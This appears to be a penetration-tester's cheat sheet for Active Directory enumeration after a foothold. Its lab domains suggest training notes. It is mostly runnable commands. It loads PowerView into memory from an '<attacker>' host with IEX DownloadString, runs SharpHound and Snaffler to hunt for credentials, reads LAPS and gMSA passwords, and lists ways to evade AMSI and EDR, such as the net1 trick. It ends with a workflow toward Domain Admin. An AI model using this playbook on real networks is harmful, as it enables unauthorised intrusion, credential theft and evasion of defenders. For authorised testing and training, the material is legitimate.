On a Windows foothold you have two routes: the Microsoft-signed ActiveDirectory module (stealthier, blends with admin activity) or the offensive toolkits (PowerView, SharpHound, Snaffler). Mix both — signed cmdlets for recon, offensive tools when you need depth.

Stealth preference

Signed binaries (Get-ADUser, dsquery, net.exe) blend into normal admin traffic. Dropping PowerView.ps1 triggers AMSI/script block logging. Use the native module first unless you need PowerView-specific features.

AD PowerShell Module

Ships with RSAT or already loaded on DCs/jump hosts.

Import-Module ActiveDirectory
Get-Module                     # confirm it loaded
Get-ADDomain                   # basic domain info
Get-ADForest                   # forest-wide
Get-ADDomainController -Filter *

Users, Groups, Computers

# All users (minimal props)
Get-ADUser -Filter * -Properties * | Select SamAccountName,Enabled,LastLogonDate
 
# Service accounts (any user with an SPN)
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
 
# AS-REP roastable (DONT_REQ_PREAUTH)
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth
 
# Password never expires
Get-ADUser -Filter {PasswordNeverExpires -eq $true} -Properties PasswordNeverExpires
 
# Groups + members
Get-ADGroup -Filter * | Select Name
Get-ADGroupMember -Identity "Domain Admins" -Recursive
Get-ADGroup -Identity "Backup Operators" -Properties *
 
# Computers
Get-ADComputer -Filter * -Properties OperatingSystem,LastLogonDate

Trusts

Get-ADTrust -Filter *

Child-to-parent and cross-forest trusts matter for escalation paths.

PowerView

Load from memory to avoid disk writes.

IEX (New-Object Net.WebClient).DownloadString('http://<attacker>/PowerView.ps1')
# or local
. .\PowerView.ps1

Core Queries

Get-Domain
Get-DomainController
Get-DomainUser -Identity mmorgan | Select name,memberof,pwdlastset,useraccountcontrol
Get-DomainUser -SPN -Properties samaccountname,servicePrincipalName          # Kerberoast targets
Get-DomainUser -PreauthNotRequired                                            # AS-REP targets
Get-DomainGroup "Domain Admins"
Get-DomainGroupMember "Domain Admins" -Recurse
Get-DomainComputer -Properties dnshostname,operatingsystem
Get-DomainOU
Get-DomainGPO | Select displayname,gpcfilesyspath
Get-DomainTrust
Get-DomainTrustMapping                                                        # recurse all trusts

Hunting Access

Find-LocalAdminAccess                                # where current user is local admin
Find-DomainUserLocation -UserIdentity targetuser     # where a user is logged on
Find-DomainShare -CheckShareAccess                   # reachable shares
Find-InterestingDomainShareFile -Include *password*,*.kdbx,*.config
Find-InterestingDomainAcl -ResolveGUIDs              # dangerous ACLs

AMSI

PowerView.ps1 is heavily flagged. Use SharpView (compiled), an AMSI bypass, or stick to the AD module for low-risk work.

SharpView

C# port — binary, no .ps1 logging, works under execution policy restrictions.

SharpView.exe Get-DomainUser -Identity forend
SharpView.exe Get-DomainGroupMember -Identity "Domain Admins" -Recurse
SharpView.exe Find-LocalAdminAccess

SharpHound Collection

Core graph-building step. Ingest the resulting zip into BloodHound.

# Standard — all collection methods
.\SharpHound.exe -c All --zipfilename ILFreight
 
# Add session/loggedon data (needs admin for best coverage)
.\SharpHound.exe -c All,LoggedOn,Session --zipfilename ILFreight_full
 
# Loop sessions over time to catch admins
.\SharpHound.exe -c Session --loop --loopduration 02:00:00

Transfer the zip to your analysis box, drop into the BloodHound GUI.

Snaffler — Share Hunting

Walks every readable SMB share in the domain, surfaces files matching credential/secret patterns.

Snaffler.exe -s -d inlanefreight.local -o snaffler.log -v data
FlagPurpose
-sPrint results to console
-d <domain>Target domain
-o <file>Log everything to disk
-v dataVerbosity — data shows only hits

Red ([R]) matches are the ones to review first: passwords, .kdbx, private keys, unattend files.

PingCastle — Posture & Low-Hanging Fruit

Not quite an attack tool, but invaluable for spotting the obvious wins (ancient trust configs, Kerberos RC4, inactive admins, NTLMv1 enabled).

PingCastle.exe --healthcheck --server inlanefreight.local

Review the HTML report — look for anomalies, AD risks, and trusts.

LAPS Retrieval

If LAPS is deployed and you can read the attribute, every host’s local admin password is available.

# Which computers have a readable LAPS password
Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd,ms-Mcs-AdmPwdExpirationTime |
  Where-Object {$_."ms-Mcs-AdmPwd" -ne $null} |
  Select Name,ms-Mcs-AdmPwd
 
# Single target
Get-ADComputer -Identity WS01 -Properties ms-Mcs-AdmPwd | Select Name,ms-Mcs-AdmPwd

Newer Windows LAPS stores to msLAPS-Password (JSON):

Get-ADComputer -Identity WS01 -Properties msLAPS-Password | Select -ExpandProperty msLAPS-Password

From Linux:

netexec ldap <DC> -u <U> -p <P> -M laps

gMSA Password Retrieval

Group Managed Service Accounts store their password in msDS-ManagedPassword. If your principal is in PrincipalsAllowedToRetrieveManagedPassword, you can pull it.

# Enumerate gMSAs and who can read them
Get-ADServiceAccount -Filter * -Properties PrincipalsAllowedToRetrieveManagedPassword |
  Select Name,PrincipalsAllowedToRetrieveManagedPassword
 
# Retrieve blob and derive NTLM hash
$gmsa = Get-ADServiceAccount -Identity gmsa_svc -Properties msDS-ManagedPassword
$blob = ConvertFrom-ADManagedPasswordBlob $gmsa.'msDS-ManagedPassword'
$blob.SecureCurrentPassword

From Linux: gMSADumper.py -u <U> -p <P> -d <domain>.

net.exe / LOLBins (Low-Noise Recon)

When tooling is blocked, built-ins get the job done.

net user /domain
net user <target> /domain
net group "Domain Admins" /domain
net group "Domain Controllers" /domain
net accounts /domain                 :: password policy
net localgroup Administrators
net view /domain

dsquery (requires RSAT / elevated on DC):

dsquery user
dsquery computer
dsquery * -filter "(userAccountControl:1.2.840.113556.1.4.803:=8192)" -attr sAMAccountName   # DCs
dsquery * -filter "(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=32))" -attr distinguishedName   # PASSWD_NOTREQD

net1 bypass

Some EDR signatures hook net.exe on string. Running net1 executes the same binary and may dodge weak detections.

Workflow

  1. Confirm foothold and current user context: whoami /all, klist.
  2. Load AD module or SharpView — do quick queries first.
  3. Run SharpHound with -c All early; let it finish while you dig.
  4. Check LAPS/gMSA readable attributes on your current principal.
  5. Snaffle the shares in the background.
  6. Review BloodHound paths — find the shortest route to Domain Admin or your objective.